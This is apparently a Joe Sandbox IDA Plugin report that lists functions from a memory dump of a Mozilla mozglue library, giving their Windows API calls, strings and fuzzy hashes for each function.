Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 5186468b0fd18d265181915037552f9d3ed5384cf7e9639c92bb89a25410e083
Instruction ID: de36f5de12727c785e0ca5d2000a1042e096e76ed63817c93272025170cdb1be
Opcode Fuzzy Hash: 5186468b0fd18d265181915037552f9d3ed5384cf7e9639c92bb89a25410e083
Instruction Fuzzy Hash: 14417CB5A00206CFCF00CFA9C88099AB7F9FF89318B554569DA45ABB21D771FC15CB98

Function 6C67F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C67F480

Part of subcall function 6C64F100: LoadLibraryW.KERNEL32(shell32,?,6C6BD020), ref: 6C64F122
Part of subcall function 6C64F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C64F132

CloseHandle.KERNEL32(00000000), ref: 6C67F555

Part of subcall function 6C6514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C651248,6C651248,?), ref: 6C6514C9
Part of subcall function 6C6514B0: memcpy.VCRUNTIME140(?,6C651248,00000000,?,6C651248,?), ref: 6C6514EF

Part of subcall function 6C64EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C64EEE3

CreateFileW.KERNEL32 ref: 6C67F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C67F523

Strings

\oleacc.dll, xrefs: 6C67F4CB

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ddce93b9264b4fbb287f4583127fce5236b628863b90e9a1ba284f7086a6e13d
Instruction ID: 0def9dc79f91c378d27a9aaf4aa499380300fb2c55acd4eb46cf8009492b122d
Opcode Fuzzy Hash: ddce93b9264b4fbb287f4583127fce5236b628863b90e9a1ba284f7086a6e13d
Instruction Fuzzy Hash: 0741CF706087109FE720DF29C884AAAB3F4AF99318F504E1CF59183650EB30D959CBAB

Function 6C6A74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6A7526
__Init_thread_footer.LIBCMT ref: 6C6A7566
__Init_thread_footer.LIBCMT ref: 6C6A7597

Strings

UnmapViewOfFile2, xrefs: 6C6A7552
kernel32.dll, xrefs: 6C6A7557

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: a381560c0824dcf6d9ddee4cd9ce7c3ac60612f6fe926cbc95f31da23fd7455d
Instruction ID: da2043aa7880c35334c40665f76cd53d1a2a46af0230fae046415cf1e5f98cad
Opcode Fuzzy Hash: a381560c0824dcf6d9ddee4cd9ce7c3ac60612f6fe926cbc95f31da23fd7455d
Instruction Fuzzy Hash: 0421C231701501EBDB149FEAE898E993375EB87769F044529E80587B40CB21BD278ABF

Function 6C6AC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6AC0E9), ref: 6C6AC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6AC437
FreeLibrary.KERNEL32(?,6C6AC0E9), ref: 6C6AC44C

Strings

ntdll.dll, xrefs: 6C6AC413
NtQueryVirtualMemory, xrefs: 6C6AC431

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e87bc26c92d936e75d7de17913444ff8601cd550b1ca1dd327acfd9509f7a1a4
Instruction ID: 52639cc6ef0e53062872e49ebd7faad3218d2b02f1b36b0e212af4fb0c4e6a6e
Opcode Fuzzy Hash: e87bc26c92d936e75d7de17913444ff8601cd550b1ca1dd327acfd9509f7a1a4
Instruction Fuzzy Hash: FEE09274706309ABDB007B7389C87117AF8AB4AB44F004116BA05D2611EBB1CA028B5E

Function 6C6A75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6A748B,?), ref: 6C6A75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6A75D7
FreeLibrary.KERNEL32(?,6C6A748B,?), ref: 6C6A75EC

Strings

RtlNtStatusToDosError, xrefs: 6C6A75D1
ntdll.dll, xrefs: 6C6A75B3

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 9363a76ca3714901923874a8910b5c8d370a8254720639781625d2b72937ea95
Instruction ID: 2185c56fede4c406ee47fb592cc06f74df3b50f336df7ca6fade31c0b27d55b2
Opcode Fuzzy Hash: 9363a76ca3714901923874a8910b5c8d370a8254720639781625d2b72937ea95
Instruction Fuzzy Hash: E2E09A71640305ABDB005BA3D8C87117AF8EB4B754F104025AA05D3610DBB0C65A8F2E

Function 6C6A7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6A7592), ref: 6C6A7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6A7627
FreeLibrary.KERNEL32(?,6C6A7592), ref: 6C6A763C

Strings

NtUnmapViewOfSection, xrefs: 6C6A7621
ntdll.dll, xrefs: 6C6A7603

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 24fa96b6a49ca9c3b78c8e8183efb78a6b40de84a2256194346b028e3ac130e5
Instruction ID: c79796aa618ab31fcb6027bd5e4e16325d1ae8cf0a37050dca4e63a9ca41dcf7
Opcode Fuzzy Hash: 24fa96b6a49ca9c3b78c8e8183efb78a6b40de84a2256194346b028e3ac130e5
Instruction Fuzzy Hash: AEE0B6B1700705ABDF006FA7E98C7117AB8E75A799F005115EA05D2710EBB186268F6E

Function 6C6ABE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6ABE49), ref: 6C6ABEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6ABEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6ABE49), ref: 6C6ABF38
RtlReAllocateHeap.NTDLL ref: 6C6ABF83
RtlFreeHeap.NTDLL(6C6ABE49,00000000), ref: 6C6ABFA6

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: ed7c47604f2fc056875e2f705f27f144e9a29d0fc81aa40bff331b7a4fef8620
Instruction ID: 005321908883943319413bc450e747820f5b49b402ab92a5726651d7e8b78255
Opcode Fuzzy Hash: ed7c47604f2fc056875e2f705f27f144e9a29d0fc81aa40bff331b7a4fef8620
Instruction Fuzzy Hash: 1F516E71A002098FE714CFA9C980BAAB7A6FFC9314F294639D516A7B55D730FD078B84

Function 6C698E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C68B58D,?,?,?,?,?,?,?,6C6BD734,?,?,?,6C6BD734), ref: 6C698E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C68B58D,?,?,?,?,?,?,?,6C6BD734,?,?,?,6C6BD734), ref: 6C698EBF
free.MOZGLUE(?,?,?,?,6C68B58D,?,?,?,?,?,?,?,6C6BD734,?,?,?), ref: 6C698F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C68B58D,?,?,?,?,?,?,?,6C6BD734,?,?,?,6C6BD734), ref: 6C698F46
free.MOZGLUE(?,?,?,?,6C68B58D,?,?,?,?,?,?,?,6C6BD734,?,?,?), ref: 6C698F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C68B58D,?,?,?,?,?,?,?,6C6BD734,?,?,?), ref: 6C698F8F

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 15cd8c31f0ea17342b64b4a38b96420315f9e539c404e9ae0334336a500ca384
Instruction ID: 3f104ecd53ed691b9492ea47b645119ea402bda0c0d04a287cca4ef93b79cd55
Opcode Fuzzy Hash: 15cd8c31f0ea17342b64b4a38b96420315f9e539c404e9ae0334336a500ca384
Instruction Fuzzy Hash: F05194B1A012168FEB14CF64D8807AE73B2FF49358F15052AD517ABB50E731F905CB99

Function 6C644DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C644E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C644E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C644EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C644F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C644F1E

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 553ce657732e658ed606d64e61ea87e4033e1f5eb944cb7165f6311bc76eefba
Instruction ID: b043803a12b352ae0a392f2186130193cfcb79a322855be0923d35e95a420c8b
Opcode Fuzzy Hash: 553ce657732e658ed606d64e61ea87e4033e1f5eb944cb7165f6311bc76eefba
Instruction Fuzzy Hash: FD41D0716047019FC701CF29C4819ABB7E4BF8A344F10CA1DF56697B41DBB0E959CB95

Function 6C651530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C65152B,?,?,?,?,6C651248,?), ref: 6C65159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C65152B,?,?,?,?,6C651248,?), ref: 6C6515BC
moz_xmalloc.MOZGLUE(-00000001,?,6C65152B,?,?,?,?,6C651248,?), ref: 6C6515E7
free.MOZGLUE(?,?,?,?,?,?,6C65152B,?,?,?,?,6C651248,?), ref: 6C651606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C65152B,?,?,?,?,6C651248,?), ref: 6C651637

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 6b55d7cc9ce68064ec80756bacd796077f02a416098e3f0274ffb9da18beeb9b
Instruction ID: 7d5cd19d8a2bfeddd399a993c68f4a6c0179230c3ac667fadd17085dfae20665
Opcode Fuzzy Hash: 6b55d7cc9ce68064ec80756bacd796077f02a416098e3f0274ffb9da18beeb9b
Instruction Fuzzy Hash: BF31FCB19001159BC7148E7CD8504AE77A9FF863747B40B2DE423DBBD4EB30D9258799

Function 6C6AAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6BE330,?,6C66C059), ref: 6C6AAD9D

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6BE330,?,6C66C059), ref: 6C6AADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6BE330,?,6C66C059), ref: 6C6AAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6BE330,?,6C66C059), ref: 6C6AAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6BE330,?,6C66C059), ref: 6C6AAE3D

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 6282f49cb4ac3abcc86de78703b579f9ca15e0fba3cd175b2ed8f8d27d1c3619
Instruction ID: 414ab847774844d3f43e4b1c7811503422105b8371a0f1c7b8b0cb9cd7955ca5
Opcode Fuzzy Hash: 6282f49cb4ac3abcc86de78703b579f9ca15e0fba3cd175b2ed8f8d27d1c3619
Instruction Fuzzy Hash: C83152B1A002159FDB10DF798C44AABBBF8EF49614F15482EE84AE7701E734DD05CBA8

Function 6C64B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C64B532
moz_xmalloc.MOZGLUE(?), ref: 6C64B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C64B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C64B57E
free.MOZGLUE(00000000), ref: 6C64B58F

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 76dbf6d7503ea80cc4b9e8a684b1c6dfa79aacfe481d2b9e7ab22c59beb82d69
Instruction ID: 54abf74a1d393c1632ae9c603094a03bffdace506571857cee396edf958039b5
Opcode Fuzzy Hash: 76dbf6d7503ea80cc4b9e8a684b1c6dfa79aacfe481d2b9e7ab22c59beb82d69
Instruction Fuzzy Hash: E421EA71600605ABDB049F69CC80BAEFBB9FF86314F24C129E914DB341E775D921C7A5

Function 6C6A6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A6E78

Part of subcall function 6C6A6A10: InitializeCriticalSection.KERNEL32(6C6CF618), ref: 6C6A6A68
Part of subcall function 6C6A6A10: GetCurrentProcess.KERNEL32 ref: 6C6A6A7D
Part of subcall function 6C6A6A10: GetCurrentProcess.KERNEL32 ref: 6C6A6AA1
Part of subcall function 6C6A6A10: EnterCriticalSection.KERNEL32(6C6CF618), ref: 6C6A6AAE
Part of subcall function 6C6A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6A6AE1
Part of subcall function 6C6A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6A6B15
Part of subcall function 6C6A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6A6B65
Part of subcall function 6C6A6A10: LeaveCriticalSection.KERNEL32(6C6CF618,?,?), ref: 6C6A6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6A6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6A6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6A6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6A6EFF

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: c9caef209843c65dcdb94c51dc92a01e19e47b48a4a226dfe02895150a7b8adc
Instruction ID: edd3fea47998c8d4497ac40e19a8035e1afc0f92494a08480f32a8ef2fa76cae
Opcode Fuzzy Hash: c9caef209843c65dcdb94c51dc92a01e19e47b48a4a226dfe02895150a7b8adc
Instruction Fuzzy Hash: CE21B271A042599FCB00CF69D8C569E77F5EF88308F044039E81997341DB309A598F96

Function 6C680D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C643DEF), ref: 6C680D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C643DEF), ref: 6C680D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C643DEF), ref: 6C680DAF

Strings

<jemalloc>, xrefs: 6C680D92, 6C680DB9
: (malloc) Error in VirtualFree(), xrefs: 6C680D97, 6C680DBE

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ceb93d0b90620837ea908fd03643ef4a69f5b30902fd1aa3201f18bad21e1ff5
Instruction ID: fae5520eac6d893d3b90bbd7c95fba7eeb9903a80792819f9fa1f1477ed7d35f
Opcode Fuzzy Hash: ceb93d0b90620837ea908fd03643ef4a69f5b30902fd1aa3201f18bad21e1ff5
Instruction Fuzzy Hash: 66F089313C769423E62015665C0AB6A26ADABC2B65F344935F614DBDC0DA90E50086BF

Function 6C697620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6975C4,?), ref: 6C69762B

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6974D7,6C6A15FC,?,?,?), ref: 6C697644
GetCurrentThreadId.KERNEL32 ref: 6C69765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6974D7,6C6A15FC,?,?,?), ref: 6C697663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6974D7,6C6A15FC,?,?,?), ref: 6C697677

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: b2d26d5e21e13e752e2f37b838c2c06fbdad15af35ea3c067402bff429de0885
Instruction ID: d56da3e8c4019730cf1c0bd7705c915c24be7e4169a8ef392eb4d044b2c278dc
Opcode Fuzzy Hash: b2d26d5e21e13e752e2f37b838c2c06fbdad15af35ea3c067402bff429de0885
Instruction Fuzzy Hash: DFF0C276E10785ABD7008F62C888676BB78FFEB799F214316F90543601E7B0A6D18BD4

Function 6C66D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C67CBE8: GetCurrentProcess.KERNEL32(?,6C6431A7), ref: 6C67CBF1
Part of subcall function 6C67CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6431A7), ref: 6C67CBFA

EnterCriticalSection.KERNEL32(6C6CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D4F2
LeaveCriticalSection.KERNEL32(6C6CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D50B

Part of subcall function 6C64CFE0: EnterCriticalSection.KERNEL32(6C6CE784), ref: 6C64CFF6
Part of subcall function 6C64CFE0: LeaveCriticalSection.KERNEL32(6C6CE784), ref: 6C64D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D52E
EnterCriticalSection.KERNEL32(6C6CE7DC), ref: 6C66D690
LeaveCriticalSection.KERNEL32(6C6CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D751

Strings

MOZ_CRASH(), xrefs: 6C66D4BB

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

